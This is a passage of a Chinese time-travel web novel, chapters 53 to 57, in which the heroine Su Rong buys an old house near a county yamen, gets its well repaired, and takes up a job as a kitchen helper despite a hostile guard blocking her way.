相形之下,确实是县衙附近的房屋较好。虽然同样年久失修,至少院墙仍在,院子也较大。
可以晾衣裳,放杂物。最惊喜的是,还有一口老井。
徐刚帮忙把压在老井上面的大石板挪开,苏蓉俯身看里面。只见井水见底了,堆积着厚厚一层垃圾,散发出难闻的臭味。
“这井还能用。”
徐刚给她吃定心丸。
“这处房屋贵,贵就贵在地段和井上。请师傅来重新打井修缮,便能出水。比日后买水划算多了,一劳永逸!”
苏蓉没说话,又转悠看屋子。
一共三间土坯房加院子自搭的茅厕。屋盖残缺,墙壁落灰。因为上户人家刚搬走,屋内尚算干净。
正中是堂屋最窄,不超过十平,以后摆套桌椅吃饭待客差不多。
左边是卧房,大概有十二平,用板子隔成一大一小两个隔间。刚够砌一米五的土坑,剩余空间放衣柜或书桌。
还想增加箱笼的话,只能搁土炕上。
右边灶屋八平。一口土灶占据半面墙。墙壁熏得漆黑,地面凹凸不平全是泥灰。门板剩一半,墙角一堆垃圾,前主人连扫帚也带走了。
整座房屋连同外面小院子,不超过四十平。
徐刚细心观察苏蓉犹豫的神色,连忙道:“苏娘子,若是买下房屋,牙行可以帮忙负责联系打扫修缮的人,比外面更便宜!”
苏蓉寻思的是买下房子,她所剩的钱可能无法支撑修房、买新家具。更别说留一点以备不时之需了。
这么看来,衙门那份工是必须去,而非踌躇去不去。
她站在院子里看外面。
出门一条巷道,周围全是这样破旧的民居。说是离县衙近,实则这里相当于平民区,要走好几百米才能到正街,然后去衙门。
所谓的近,相对另两处更加偏远的房产而言。
“左右邻舍住的什么人?”
她问徐刚关键问题。
环境好不好,关系她做出最终抉择。
徐刚手指民房一一为她介绍。
“这左边的,是一家子做小生意的人。七八口人,有小孩子,白天可能吵吵。右边是几名贫寒学子,在县城读书,合租院落。”
“这里离东市最近,出巷子右转数十步,便到了。”
苏蓉点头。
学子们能租住这里读书,意味这里治安、环境不错。去除最后顾虑,她当场拍板。
“那我决定了,就要这处房屋!”
徐刚大喜。
觉得这位苏娘子真是难得一见的爽快人!他以为还要再多看几处房源,多纠结几天,对方才能下决定?
而他手里最好的房源,便是这处。谈不下来,只能以失败告终,没想到最终能促成交易。
“苏娘子,既然你决定了,那我给你说说买房需要的凭证和步骤。”
苏蓉点头,洗耳恭听。
“因为原房主是把房源挂在牙行了,委托我们牙人全权处理。所以,咱们直接省下议价这一步。”
“明天,你带户籍来牙行。我负责起草契约,请我师傅和一位米市街德高望重的老人,为见证人签字画押。”
“然后我陪你持契约到官府办理契税缴纳手续。官府加盖红印,咱们的交易才算合法合规。”
苏蓉听明白了,原来这处房屋所在街道,叫米市街。顾名思义,附近集市主卖米?
“那么,官府那边的契税,是交易金额的三十厘;牙钱是五十厘到百厘……我只收你五十厘吧。”
怕苏蓉不懂,徐刚把话掰开来明说。
古时百分之一为十厘,故而百分之三、百分之五,分别为三十厘,五十厘。
苏蓉表示懂。意味着除了买房的四十二两,她还要给三两多契税、牙钱。
“等办妥红契,苏娘子你若信得过我,我再给你找修缮房屋的工匠、清扫人员。”
苏蓉心内有点发苦。等把房屋弄好能住人,没钱买家具怎么办?
转念一想,短短两个多月时间,用命换来一套房,以及城廓民资格,非常幸运了。没听徐牙人说,今早才有被贩卖的不幸奴仆,没了一个吗?
谢天谢地,她一开始没穿越到流民或奴隶身上。
商定好明天牙行见,徐刚将苏蓉载回县衙附近。苏蓉就近找家干净的小客栈住下。
一晚上牵挂着买房子,时不时激动盼望与后悔犹豫的情绪交汇。天一亮,她顶着两个黑眼圈前往牙行。
见到徐刚的一刻,两人不由得相对哑然失笑。原来徐刚眼下也是一片青色。想必同样怕她反悔,错失这一单交易。
不再废话。等杨牙人和请来的米市街老人抵达,双方坐下签契约画押。
苏蓉跟着徐刚跑前跑后,共花费将近四十六两银子,拿下米市街道的二手房。
这还是小县城,若是大城镇,这点钱根本买不来一块黄金地段的地皮。
她接过徐刚递上的一把象征房产的铜钥匙,决定今晚就搬进新房睡。身上只剩不到四两银子了,不能再随随便便浪费钱!
徐刚做成功成为学徒的第一笔房产交易,得到师傅大力夸奖,嘴角也一直向上仰着。
“苏娘子,修缮房屋的工匠我明天给你请来。顺便把那口井给你重新疏通。别的清扫工作可以慢慢来,唯独这两件事先要弄好。”
苏蓉忐忑不安:“请工匠大概要多少钱?”
“一般是不包吃住三百文一天。工头是我小舅子,我叫他给你干活利落点,争取三天内完工!”
敢情这家子裙带关系,形成卖房售后一条产业链。苏蓉心中了然,笑道:“好,那就劳烦你了,徐牙人!”
她自己去找人,人生地不熟难免上当受骗。倒不如卖个人情给徐刚,日后说不定还要打交道。
就像徐牙婆一样,不也是这么熟悉起来的?
离开牙行,苏蓉去集市买了盆子扫帚等物,两个馒头,怀着激动无比的心情回到刚买下的房屋。
尽管这里空洞无一物,关上院门,就是她一个人的天地!哪怕铺堆草睡地上,也比露宿荒郊、住客栈强啊!
这是两世真真切切,属于她个人的房屋。若非地上脏,苏蓉恨不得屋里屋外滚几圈,再大笑三声。
第53章 一朝回到解放前
她数次出入自宅,左右邻舍自然看得见。
书生两耳不闻窗外事倒还罢。左边邻居大婶,怀抱哇哇哭的小孙子,忍不住踱到门口,探头探脑往院内张望。
见苏蓉在扫地,不由得开口问:“姑娘,这老张家房子,是不是卖出去了?你们是新搬来的邻居吗?”
远亲不如近邻,如果是,那可要提前打好关系。
苏蓉见对方面相并不刻薄,一团和气。怀中孙子见了生人,也不再哭泣。而是含着手指头,睁着晶亮的大眼睛看她。不由得一笑。
“是,我新搬来的女户,乡下还有亲戚……”
她含糊自己的身份:“原来这家前房主姓张呀?”
双方就此拉开话匣子。
简单一番交谈,苏蓉知道大婶姓向,男人两年前过世,留下一家粮食铺面和房子。
如今铺子由儿子打理,儿媳帮忙。她在家带孙子。有个女儿,远嫁在别的城镇。
而右边邻里的三个书生,听说是乡下来的学子,在县里私塾读书。想必有点闲钱,不愿寄宿私塾,才来这里合租。
一大清早,能听见他们朗朗的读书声。随后一整天泡在私塾,晚上才能回来。专门请个婆子,为他们洗衣做饭。
苏蓉也适时透露自己将在县衙打工,令对方不至于轻视她,避免今后有可能的恶邻欺上门来,顺势结束这场谈话。
次日,徐牙人带领三条壮汉,扛着木梯,拿着各种工具登门。
徐牙人的小舅子名叫庄达,满脸精明相,看上去比徐牙人更善于做生意。
屋内屋外看一通,连房顶也架梯子爬上去看,废井也测量了,最后回到苏蓉跟前。
“苏娘子,你这房屋修缮容易。就是那口井,想要重新出清水,得花费大力气整!”
苏蓉觉得最重要的就是那口井。
古代没有自来水系统。城里靠井水或买水,村民则去河流小溪挑水,异常艰辛。所以一到旱年,还有两个村子为抢水打出人命的。
这口井,她必须优先修缮好!
于是,她问庄达:“庄大哥,你们能弄好那口井吗?”
“能,就是挺麻烦。”
庄达呵呵笑,小眼睛透露出狡狯。
“冲我姐夫面子,我少收你一点。四百文一天,五天时间包给你弄好!顺便把房屋也给你打扫了,怎么样?”
徐牙人在旁边,装着没听见两人谈话,专心致志歪头看窗外景色。
他帮小舅子拉活,可不敢管小舅子漫天要价!
当真管了,回去娘子不得捶死他?本来岳家人就嫌他不能干,挣不到啥钱。
苏蓉蹙眉。
庄达不急,环抱双臂:“苏娘子,你可以去街坊邻居打听一下,我绝对没有收你高价。刮墙的白灰,涂抹柱头的漆,都没给你算钱。”
“还有下井疏通,上房盖顶,这些都是苦力活,很费人工的!”
苏蓉踌躇片刻,同意了。
再另外找人,未必不敲她竹杠。说不定看她是女户,孤家寡人,还要趁势狠狠欺负。好歹徐牙人介绍自己小舅子,知根知底。
“行,二两银子五天,你们包给我弄好!弄不好,我可是不会付钱,宁愿和你去衙门打官司?”
她即将属于衙门一员,说这话时有无比底气。
庄达自然通过姐夫口中,知晓她来历,拍着自己胸膛下保证。
“没问题,我们写契书,我姐夫做证人!”
庄达熟门熟路,去找隔壁看家婆子借来纸笔。请他姐夫执笔,趴在地上写了契约,双方按手印,签字画押,各保存一份。
苏蓉给了一两银子作为定金,尾款等五天验收成果后再给。
庄达揣了银子,回头就招呼两个兄弟开工,今天便算半天。
因为不好弄水,先掏井。
徐刚自回牙行。苏蓉在旁边蹲着看了会,只见庄达腰上捆了几圈粗麻绳,由两个兄弟拉拽着慢慢下井。
井底垃圾,先清理用篮子提上去。然后将井底发绿发臭的积水,一桶桶舀出去。最后用专门特制的捞斗,掏堵住出水口的泥沙。
井壁长满青苔,容易造成坍塌的裂缝也要修补。
这是个漫长繁琐的工程。苏蓉看了会就没兴趣看下去。和庄达打声招呼,溜达着去附近闲逛,熟悉道路环境。
反正她现在家徒四壁,全部家当房契户籍二两多银子全部揣身上,家门敞开着也不怕被盗窃。
不过考虑一朝回到解放前,庄达还要干五天活她才能住新房,苏蓉打算明天就去衙门报道。
不然耽搁太久,县衙后厨另招了杂工,哭都没地方。双倍工钱、且能扯衙门老虎大皮的活儿,上哪儿找!
遛遛达达,最后花六十文买床草席,七百文买件单衣和稍厚的棉衣。
说是棉衣,实际就是古称的袷衣。面子粗棉布,里子麻布。内在塞新丝棉的边角料或旧丝棉。不怎么保暖,沾水后重得像石头。
好在是新的,既能当被子盖,又能当冬衣穿。
等五天后结清庄达工钱,她便只剩几百文傍身。钱挣得艰难,用起来飞快。
回到家已是黄昏。庄达打声招呼,带两个兄弟下工。工具就留在她这里,明早继续来干活。
苏蓉将几间屋与院子检查一遍,确定没有异样,方才插上院门的顶门杠。
随后啃个馒头,喝碗向婶送的凉白开,将草席铺在堂屋地上,裹着新棉衣睡了。
至于洗漱,一穷二白的洗什么漱?
次日,等庄达来,苏蓉跑去昨天发现两条街外的公用水井,艰难提桶水回来。
洗漱干净,换上新单衣,怀抱小包袱去衙门。路上又啃个黑面馒头。哪怕看到馒头已经生理性想吐了,仍旧只能吃这个充饥。
不敢去衙门正门,转到连接內宅的后角门。这里只有一名衙役把守,偶尔进出个小厮婆子。
苏蓉走上去刚要开口,只见一人匆匆绕着墙根走来,抢在她头里对那衙役道:“钟哥,我来接班!”
嗓音熟悉,赫然是金安福!
那钟衙役隐忍不满:“你小子,每次交接都来迟!”
金安福嬉皮笑脸。
“小弟新来乍到,尚未习惯点卯交班。钟哥莫恼,得空小弟请你喝酒!”
钟衙役哼了声,不再说什么。
苏蓉暗叫不好,忙趁钟衙役没走,疾步上前。
“差大哥,我有约,来找姜厨娘!”
第54章 别让人误会
两人同时回头朝她看来。
“是你!苏氏?”
金安福左眼下挂着青黑的乌影,像被人狠狠揍过一拳。颧骨处泛着病态的潮红,其他地方死白一片。
原本要死不活的样,看见苏蓉一下子振奋起来。眼珠灵活转动,仿佛潜伏的毒蛇,终于等到猎物出现。
“你这没皮没脸的女人,还好意思再往衙门来?该不会是坐牢坐出了感情,舍不得离开了吧?”
托苏蓉的福,现在每个认得他的人,都知道他有个被休且坐过牢的前大嫂!
他哥在军营里被人嘲笑与否,他不知道。总之他自己三天两头被人问到脸上,神烦!
前夜喝花酒,一个没眼色的小娘皮,甚至敢明目张胆向他打听苏蓉。
注意到一桌同僚粉头,揶揄看他的眼神表情,忍无可忍一巴掌把那小娘皮扇到桌下!
结果被龟奴们抓住,打一顿丢出门,现在眼圈的黑印子尚未消。
如今看到罪魁祸首,怎不令金安福恼怒?本来就不喜这前大嫂,如今是厌上加恨。
同僚和相对陌生的苏蓉,钟衙役自然选择前者。
装着没听见苏蓉的话,随意应付一句:“我下值了,有事你们聊!”
转身直接匆匆走掉。
至于傅振特意招呼过门房放苏蓉进出。轮值碰上苏蓉的守卫又不是他?金安福有胆违令,自然得承担相应的责任。
他这种老油条,不背锅也不得罪人。
剩下苏蓉和金安福面面相觑,都有点麻爪。
片刻金安福一挺胸膛,烧火棍用力在地面敲两敲,摆出凛然不可冒犯的威严。
“这里是县衙,平民百姓不得无故在此逗留!滚~苏氏你还不赶紧滚蛋,我就代表衙门抓你进大牢!”
苏蓉退一步。
想想不甘心。阎王关都闯过了,怕这小鬼?
重新上前一步,压抑着怒气道:“我与傅振大人有约,来找姜厨娘!你给我进去通报一声?不然我检举揭发你公报私仇,让你衙役做不成!”
“无凭无据,你还敢威胁我?”
金安福嗤笑。他别的优点没有,就是死倔。认定的观念除了金竹海来,其他人很难改变他。
“信不信我再抓你进大牢?滚!”
苏蓉进退两难。
碰上金安福这个软硬不吃的死犟种,她真没辙!傅振都搬出来也不买账,她还能将叶县令扯出来不成?
而且金家这对兄弟与众不同。他们家里家外,是真一言不合,动手打女人的,不讲究面子后果。
为了不吃眼前亏,苏蓉只能忍住气,在金安福怒视下退出后角门。
她就不信,这里没有其他县衙的人路过。请人往里捎信,或则改日来,总能见到张厨娘。
有机会,看她不整死金家这两条恶狗!
从早上守到晌午,又从晌午等到寅时,苏蓉肚子饿得咕咕叫,正犹豫要不要先去买个馒头吃。
忽然,街角一道熟悉的黑色人影拐出来,手托一个绿色荷叶包,她高兴得蹭的一下站起,飞奔到那人面前!
“傅爷!”
傅振吓了一跳,忙看手里烧鸡有没有被吓飞?
回头瞪苏蓉一眼道:“你干嘛躲这里,还突然跑出来叫这么大声?我才买的熟食,若被你吓掉你得赔!”
苏蓉尴尬地抱紧怀中小包袱。
“对不起,傅爷。我在这等了大半天,心里急,看到您太高兴了就……”
傅振忙道:“哎哎,别胡说八道惹人误会!什么叫看到我太高兴……我与你非亲非故的好嘛?”
知道这人毒舌,苏蓉已经习惯了。不以为意直奔主题:“傅爷,您上次说,我可以来县衙后厨做工?”
“是啊!”
傅振不假思索,上下打量她一眼。
“这都三天了,你为何还没来衙门报道?我当你不知好歹拒绝了大人的好意呢!”
“傅爷,我想先找个落脚地方?而且,今天一大早我就来衙门了,可后角门把守的衙役,死活不让我进!”
苏蓉用力眨眼,红了眼眶,一副泫然若泣的模样。
“就算报上傅爷您的名号,也不管用!他还说,若我敢再次出现在这里,就抓我进大牢?傅爷……大人真的同意我进后衙做工吗?”
傅振看着她可怜巴巴的弱鸡样儿,心头梗得慌。两条浓眉,紧蹙拧在一起。
“你跟我来!”
他没好气说了一声,迈开两条大长腿,杀气腾腾当先往后角门走。倒要看看是哪个不长眼的,连他面子都不给?
谁不知道他和燕彬,就代表大人!
大人接手衙门已经三个月,一群狗屁衙役,还敢私下阴奉阳违?
苏蓉迈着小短腿,抿紧嘴唇,得意洋洋跟在傅振身后。连走带小跑,等着看金安福的乐子。
金安福怀抱烧火棍,懒洋洋靠在柱头上,正眯着眼睛打晃。
突地眼角余光瞥到傅振身影,一个激灵立正,挺胸叠肚握稳烧火棍。
“傅大人好,傅大人您回来啦?”
傅振与燕彬,名义是叶清辞私人护卫,实则是有品级的侍卫,出自禁军。尤其燕彬,听说还有层不为人知的隐秘身份,为皇帝亲自委派。
金安福吃了熊心豹子胆敢挑衅傅振?自然见了本尊,马上摇尾讨好。
傅振冷眼打量金安福。
“你是谁?我好像从没在衙门见过你!”
金安福讪讪回答:“回大人话,小的名叫金安福,是新来衙门当差的。”
傅振锐利的目光略为缓和。
原来是新来的差役,不熟悉衙门情况,情有可原。
他侧身让出身后的苏蓉,冷冰冰道:“你看清楚我身后这个人,以后她是后衙厨工,进出不得阻拦?跟其他兄弟也招呼一声!”
金安福看着一脸微笑,眼含讥讽的苏蓉,后槽牙险些咬碎!
没办法,傅振面前只得弯腰认怂,点头答应:“是,傅大人!”
傅振不屑与其多说,领着苏蓉,径直进门朝后衙走去。
走出一段路,苏蓉还故意回头,趾高气扬挑衅地看了金安福一眼。气得金安福握紧拳头,又不敢乱放一个屁。
快到上一次分手的地方,一阵咕噜噜腹鸣,打破两人安静走路的氛围。
傅振疑惑地低头瞄自己肚子,然后回头看苏蓉的,皱眉迟疑。
“你……是你肚子叫?”
第55章 发张好人卡
苏蓉窘得脸红了,低头呐呐。
“我,我还没来得及吃午饭……”
穷人一天两顿其实能熬。只是她顿顿一个黑馒头,加上为了堵门大半天没沾水米,实在饿坏了。
傅振翻个白眼。
这人前前后后获赔几十两银子,一夜暴富,还能把日子过成这穷酸样,他也是服了!
看着自己手中荷叶包犹豫一下,打开荷叶,一股喷香的烤肉味飘散出来。
苏蓉差点没绷住,当场流口水。
傅振撕下个鸡腿,上面连接着大块胸脯肉,边嫌弃边递给苏蓉:“拿去,吃吧!别待会试工,晕倒在厨房,还连累说咱们衙门苛待人!”
苏蓉恨不得钻地缝。想婉拒,肚子不给面子猛唱歌,那手伸出去,倒像主动接过来。
不过她也发现外表毒舌傲娇的傅振,内在竟有善解人意的一面,真让人意外。果然物以类聚,人以群分,能跟随青天大人的,都是好人。
傅振不知道自己荣获一张好人卡,忍着心疼,重新包好荷叶。寻思怎么对燕彬解释,今天分不到鸡腿的事?
身后苏蓉如同饿死鬼投胎,生猛啃鸡腿。一边啃一边没忘了对他许诺表感激。
“谢谢傅爷。等我有空回乡下,一定逮只野鸡来还你!”
“不用!”
傅振表示拒绝。
他月俸少,没到可以随心所欲吃野鸡的地步。隔山岔五能来只家鸡,已是大人和燕彬赞助了。
“送两只!”
苏蓉想借机用糖水炮弹腐蚀未来的领导阶层。
“你想让大人赏我板子?”
傅振再次翻白眼。
苏蓉掏出帕子擦油光光的嘴和手,憨笑。
不可否认,傅振心疼鸡的感觉,消散许多。再次到分叉路口,他指路给苏蓉看。
“你上一次来的院子,不要随便进,那是县署內宅,大人住里面。厨房在县署內宅外左边,自己去找姜厨娘报道吧!”
说完,拿着荷叶包径直离开。苏蓉冲他背影道谢,也不知听见没。
有熟人给吃的定心丸,苏蓉镇定许多。整整衣裳,直奔厨房。为显得利落专业,她用大帕子把头包起来。
县衙厨房可比邓教谕家的小厨房大多了。
炉火熊熊,靠墙一溜土灶三口大锅,边上还砌了小灶煲汤烧水。厨子两男一女,在灶台边挥汗如雨。几名婆子小厮出出进进,忙碌打下手。
一个小丫头蹲在洗菜池旁边,清洗堆积如山的碗筷。每个人忙得像陀螺。
想来也是,衙门这么多官吏差役,几十上百号人,听说包饭的,那做饭肯定是个大工程。
苏蓉探头探脑,不好贸然进去。
直至一个婆子得空,出来洗手拣菜,她才凑上去问:“婶子,请问姜厨娘是谁?我是来报到的新杂工!”
那婆子上下打量她一眼,绷紧的黝黑面皮一松,展露笑容道:“总算又来一个帮手了!厨房里做事的就这么几人,简直忙不过来?”
健壮浑圆的手臂,指了指里面唯一的厨娘:“那就是姜厨娘!等她忙过这一阵,我帮你把人叫出来。”
苏蓉非常有眼力劲地把小包袱往肩后一顺,弯腰主动帮对方抬一箩筐芋头,笑容特别灿烂:“婶子,是要削这些芋头吗?交给我,我来!”
婆子略微犹豫,随即想到早听说厨房会来一名新佣工,苏蓉都能进入后衙了,身份上应该是没问题。
于是表示同意。端来两根小板凳,一碗白醋水,同时递给苏蓉一把小刀。提供工具同时,也是想看看,苏蓉到底是不是合格的洗菜娘?
苏蓉从包袱里掏出自带的围腰扎上,坐在小板凳上,先将双手涂抹上白醋水。这是为了降低芋头黏液对皮肤的刺激性。
随即用块布托住芋头,熟练地开始给一个个芋头去皮。遇上发黑霉烂的地方,刀尖灵活一挑,便把坏处剜掉。
换在现代,烂了的自是不能吃。但在古代,你敢因为一个霉洞把整个粮扔了试试?
不一会儿功夫,脚边空盆多了堆处理干净的芋头。待收拾完,拿去清洗下锅就行。
婆子很满意苏蓉的干练。是不是干活的人,一眼能看出来。
一面一起削芋头,一面友好地做自我介绍:“我姓苏,姑娘你怎么称呼?”
苏蓉吃惊:“苏婶子!我也姓苏呀?”
苏婶子张大嘴:“这么巧?咱们竟然是家门啊!”
苏婶子兴致勃勃,正想向苏蓉打听深入点的家世,突然一窒。寻思不久前县衙大堂,闹得轰轰烈烈的杀人碎尸案、盗窃案,都关乎一个姓苏的!
厨房的人还打趣她,是不是她苏家姑娘?
苏婶子整个人不好了,瞬间觉得眼前的苏蓉看不顺眼!脸皮一耷拉,周身嫌弃的情绪克制不住直往外涌。
苏蓉丈二和尚摸不着头脑。特地把自己削的一堆芋头皮翻翻,看看是不是把好芋头当成垃圾扔了。
这时候,刚好姜厨娘走出来伸懒腰。
“行啦!”
苏婶子拿过苏蓉手上的刀和布,吆苍蝇似撵她:“姜厨娘出来了,你自己去找她!能不能留下,她做主?”
至于自己之前许诺帮忙说好话……她说了吗?
苏蓉倒不是很在意。
她又不是银子,无法讨所有人喜欢。比起有仇的金家人,苏婶子只算个陌生人。大不了以后成为同事远着点。
蘸点白醋水洗去手上滑腻腻的黏液,在自己围腰上擦擦,她脸上挂着笑容走向姜厨娘。
姜厨娘早就注意到她了。
看着苏蓉站门外,看着她主动找活干,不急不躁,心里颇有好感。
她是知道内幕消息最多的人。怕她认不出苏蓉,傅振还特地描述过苏蓉容貌,提醒她多照顾苏蓉。
说这是大人意思。
她可不敢像苏婶子那么愚蠢,用世俗眼光看待苏蓉。
见苏蓉过来,她含着些笑主动打招呼。
“你这丫头看着面生,是不是苏氏?上头特意交代过,有个新的洗菜娘要来!”
苏蓉受宠若惊,忙道:“是我!姜厨娘,我处理私事耽搁了两天,没有给你们造成什么麻烦吧?”
姜厨娘解下围腰,露出一身墨绿棉质春衫。半老徐娘,风韵犹存,算得气质温婉。
一脸笑盈盈道:“能造成什么麻烦?苏娘子你真客气。今天是来报到的吧,随我来!”
第56章 气死他全家
姜厨娘把苏蓉带进东厢房最靠里一间。不过十来平方的面积,窗明几净,有小床、有书桌,竟然还有一个书架,摆放着各种手抄册子。
经过时苏蓉瞄一眼,大都与烹饪相关,还有好几本诗词歌赋。
见到苏蓉眼中抑制不住的惊讶,姜厨娘用手随意拨弄桌上瓷瓶插的一束红色蜀葵,淡淡含笑。
“一个厨娘,喜欢看书,是不是觉得很奇怪?”
“不不!”
苏蓉回过神来,忙摇头:“我也喜欢书,忍不住多看两眼,不觉得有什么奇怪的?”
话说回来,姜厨娘相貌不俗,又识字好诗,怎么会愿意沉寂厨房,终日与油盐酱醋打交道呢?
书香味被烟火气一冲,仿佛仙子堕凡尘。
姜厨娘微笑,眉眼越发显得柔婉。她就是听说苏蓉能写会算,年纪轻轻遭遇这么多,有种同病相怜的感觉,才带她进入自己房间。
厨房里那一班俗物,哪个配涉足她的私人区域?
招呼苏蓉坐下,她笑着提起托盘上茶壶,为苏蓉倒上一杯茶水,自嘲。
“做我们这行,难得吃到一口热乎的。招待你只有凉茶,苏娘子,你不介意吧?”
“姜姐姐说哪里话呀!”
苏蓉察言观色,开启真诚的吹捧夸奖模式。
“姜姐姐这房间布置得清新雅致,茶水虽凉,也散发着幽香。观书观茶如观人,姜姐姐像是水墨画卷走出的仕女,一颦一笑含诗意!”
姜厨娘一阵怔忪。
这种话,她有多久没有听过了?十多年前她待字闺中,过着侍从如云的尊贵生活时,小姐妹间喜欢这么打趣调笑。
默默回过神来,对上苏蓉发亮的眼睛,她笑容多出两分真心。
有情商的人,自然值得多给好处。
“苏妹子,你过誉了。我不过是厨娘,瞧你快把我夸上天了!傅大人说有个新来的杂工要安排进厨房,直到今天,才等到你来?”
苏蓉断定姜厨娘这人有故事。只是交浅言深,对方转移话题,她便识趣结束寒暄。
“我这两天,在衙门附近找房子。忙于安置打扫,没来得及报到。让姜姐姐久等,真是过意不去?”
她一口一个姐姐,自然亲近,听得姜厨娘柳眉一直向上扬着。不知不觉,也改了口。
“苏妹子,那你现在安置妥了吗?”
苏蓉老实回答:“要掏井,修缮房屋,可能还要几天。不过,不影响我白日来上工?”
姜厨娘明白了。指尖拂过自己衣角褶皱,想了想:“这样吧,明早你开始上工。厨房走了两个杂役,挺忙。”
衙门大换血,连厨房也受到波及。这段时间,着实哈不转。
“你有住处,想必晚上要回家?”
见苏蓉点头,接着道:“在衙门做事,包饭。辰时一顿早餐,申时一顿晚餐。大人们额外加餐布席,会提前通知。”
“你的上工时间,就是卯时到酉时。注意不要迟到,迟到会罚工钱!放闲日一般一个月两天,由我安排。有紧急事可以提前告诉我调整。”
苏蓉心道这待遇不错。不仅多放一天假,还不像在邓宅那会,除了睡觉吃饭,都在干活。衙门这边算公务员待遇,朝五晚五!
姜厨娘拿出一面小小木牌交给她。
“这是你的身份证明。衙门不同于别的地方,戒备森严。以后你上工遇见有人拦阻,就拿这块牌子给他看。”
苏蓉道谢接过牌子。上面摸索得溜光滑亮,不知经历多少人手。镂刻一个“厨”字,漆色都脱落了。
姜厨娘起身,摆出结束这次会面的姿态。苏蓉赶紧跟随站起。
姜厨娘领先往外走。
“你工钱是六百文。想必傅大人一早告诉过你?这话千万不要说出去,别的杂役,没你工钱高!”
虽然明知是县令大人有心照顾苏蓉,也没必要大肆宣扬招人嫉恨。
苏蓉大力点头,捧起自己喝过的杯子:“我明白!姜姐姐,那我先去把这杯子洗干净了?”
姜厨娘回眸一瞥,笑道:“不必,这些小四儿会来收拾。我先带你认人!”
小四儿就是那个最小的洗碗工。他爹是衙役,给女儿求了这份活,攒点嫁妆钱。
另外两名大厨,一位赵师傅,一位陈师傅;三名婆子除了苏婶子,另两个姓王姓蔡;小厮则一个阿牛,一个东子。
全部与差役们沾亲带故,没一个是外面直接雇佣的。
还有老杂役钱叔,专门负责守夜,酉时才会来上工。
姜厨娘作为厨房管事很忙,将苏蓉介绍给大家后,便打发苏蓉离去,自己洗手继续去忙。
苏蓉临去,特地和苏婶打招呼。
苏婶见她从姜厨娘房间出来,些许不自在。扭捏回应一笑,算是对之前态度做出的歉意。
等苏蓉前脚一走,后脚杂役们立马聚一堆,偷偷议论起对苏蓉的观感。
人不可貌相!苏蓉这样的,凭什么得到大人们关注,破格雇请到衙门做工啊?他们家有人,都是托了好大关系进来的!
姜厨娘将一盘刚出锅煎得酥黄焦脆的蛋饼,放在灶台上用碗扣住,走出来训斥众人。
“干好自己的活儿,议论人是非长短做什么?觉得自己太闲吱一声,我给她多派活!”
一群杂役声不敢吭地散开。
姜厨娘可不是一般人!两任县令聘请为厨房管事,屹立不倒。听说还差点成了上任县令的良妾。
虽不知最后究竟为什么没成事,但新县令同样信赖姜厨娘。稍微精明点的,谁敢跟姜厨娘正面顶撞。
苏蓉不知道背后的事。
怀着一颗雀跃的心,从后角门离开县衙。敲定一个大有前途的工作,无比欢喜。
看见金安福,故意把手中木牌一亮。瞅到对方愤怒憋屈的眼神,气得呼哧直喘的破风箱声音,她才得意洋洋,收回木牌,脚步轻快而去。
一个站岗的,一个洗菜的,确实谁也不比谁高贵。
但金安福既然觉得这是份荣耀,却被她享受到了,那正好气死他!顺带气死金家全家……嗯,金冬梅可以例外。
苏蓉奖励自己晚上吃一个白面大肉包。
回到家,惊喜地发现庄达已经把井底清理疏通得差不多了。汩汩的地下水慢慢渗出表面,积蓄出薄薄一层水洼。
见到苏蓉,庄达抬起一张满是晶莹汗珠的黝黑脸庞,咧着嘴笑。
“成了,苏娘子,明日你就可以用上自家的井水了!”
苏蓉大喜,来不及道谢,院门忽然响起一道急促的声音。
“苏丫头!请问苏丫头是不是住这里面啊?”
第57章 本质是豆子兵
声音真耳熟!
苏蓉急忙走出院门。果见张厨娘手挎一个大包袱,在巷道里转来转去地喊。
看来是打听到她住这里,但不知道具体是哪家,只能这么转悠着边喊边问了。
“张婶子!”
苏蓉惊喜地挥手:“这边,您怎么找来这儿了?”
张厨娘冒死帮过她,虽无大用,但这份心意她记得。离了邓宅,还以为从此陌路,没想到对方会找到家里来!
张厨娘回头看到她,露出发自心底的笑意。小跑过来,将身上大包袱往她手里一送!
“苏丫头,原来你住这里,叫我好找!”
徐牙婆怕惹是非,给她地址说得模棱两可。她问路又不好说具体的,所以找得那叫一个艰难!
“这是你落在邓宅的衣裳行李,我给你收拾收拾,趁今天放闲日,悄悄给你送过来。”
苏蓉忙请她进屋。
“张婶子,几件旧衣裳,难为你专程送过来……”
“旧衣不是钱?”
张婶子嗔怪地拍她手背一下:“就是邓宅还欠着你半月工钱,周姐姐说没办法结清给你了!夫人老爷恼怒得不行,连大姐儿也……”
张婶子有许多话急于想吐槽,进门见到庄达三人,硬生生憋回去。
“这是……”
“他们是工匠,在帮我修缮房屋。”
苏蓉领她参观自己的房子,对于第一位登门客人,志得意满:“那半月工钱不要也罢,反正,邓宅赔偿给我足够多银子了!”
张厨娘自然清楚始末,参观过几间土坯屋后,发出强烈感叹。
“你这也算不幸中大幸!托青天大人洪福,转危为安,还买得起房子,过自己日子。”
若换成她,只要不打死,她也愿意受些罪挨两顿毒打。这可是房啊!普通人家攒钱一辈子,未必在城里买得起一套房!
她由衷为苏蓉高兴。
“苏丫头,看到你平安,过得又好,我这心就放下了!”
苏蓉想拉她坐下,环顾四周,一块草席一件棉衣,只得嘿嘿笑。
“张婶子,谢谢您以前的照顾。等我收拾好房子,再请您来好好做客!”
她这实在是……一杯凉水也没有。
张婶子乐呵呵。
“行,我今天就是专程给你送行李来的,我也赶着回去不能多待。那,下次有机会再来看你?”
苏蓉赶紧拽住她。
“张婶子,我去后,邓宅有没有为难你?”
张厨娘眼中掠过一抹黯淡,随即隐去。
“没有,我不过是个厨娘,为难我做什么呢?倒是那个青蝉、柳枝,昧良心害你,自己没落得好!”
她带着解气的笑容。
“县令大人一顿板子,差点把她们打残了!抬回邓宅,夫人骂她们不安分,才惹出这么多事,直接发卖。老爷怪夫人丢人,差点闹得写休书……”
她压低声音,怕丑闻被工匠们听见:“现在夫人气病躺床上,大姐儿躲屋里,陶姨娘接手管家。”
她逐渐露出悲戚神色:“就是周姐姐如今被边缘化,日子难过了呀……”
夫人生隙,陶姨娘要培养自己人,周管事可不就成了多余那个?
苏蓉迟疑。
“张婶子,你和周管事,没想过要自赎自身,离开邓宅吗?”
她不信两人在邓宅十多年,身份比一般奴仆高,没有积蓄,没有考虑过将来?
张厨娘默然片刻。
“我和周姐姐无亲无故,离了夫人,能去哪里?”
何况夫人的性格,只有她开恩放人,不能容忍手下奴仆主动弃自己而去。
苏蓉想说什么,张厨娘笑着用胖乎乎的手,按住她肩:“行了,不多说了!看你没事我就回去了,不能在外耽搁太久。得空我再来看你呀!”
